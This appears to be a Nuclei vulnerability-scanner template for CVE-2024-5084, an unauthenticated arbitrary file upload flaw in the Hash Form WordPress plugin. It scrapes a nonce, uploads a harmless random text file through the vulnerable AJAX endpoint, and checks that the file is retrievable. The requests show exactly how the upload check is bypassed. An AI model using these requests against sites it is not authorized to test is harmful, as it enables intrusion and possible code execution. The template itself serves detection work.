Hash Form <= 1.1.0 - Arbitrary File Upload

id: CVE-2024-5084

info:
  name: Hash Form <= 1.1.0 - Arbitrary File Upload
  author: s4e-io
  severity: critical
  description: |
    The Hash Form Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'file_upload_action' function in all versions up to, and including, 1.1.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
  impact: |
    Attackers can exploit this vulnerability to compromise system security and integrity.
  remediation: |
    Apply the latest security patches and updates to address this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5084
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hash-form/hash-form-drag-drop-form-builder-110-unauthenticated-arbitrary-file-upload-to-remote-code-execution
    - https://github.com/WOOOOONG/CVE-2024-5084/blob/main/CVE-2024-5084_exploit.py
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-5084
    epss-score: 0.50934
    epss-percentile: 0.98936
  metadata:
    verified: true
    max-request: 1
    vendor: HashThemes
    product: Hash Form
    framework: wordpress
    publicwww-query: "/wp-content/plugins/hash-form/"
  tags: cve,cve2024,wp-plugin,wordpress,file-upload,rce,intrusive,vuln

variables:
  filename: "{{rand_base(5)}}"
  num: "{{rand_int(1000, 9999)}}"

http:
  - raw:
      - |
        GET / HTTP /1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

      - |
        POST /wp-admin/admin-ajax.php?action=hashform_file_upload_action&file_uploader_nonce={{nonce}}&allowedExtensions%5B0%5D=txt&sizeLimit=1048576&qqfile={{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{md5(num)}}

      - |
        GET /wp-content/uploads/hashform/temp/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_2,"success","true","url") && status_code_2 == 200'
          - 'contains(body_3,"{{md5(num)}}") && status_code_3 == 200'
        condition: and

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - '"ajax_nounce":"([0-9a-z]+)","preview_img'
        internal: true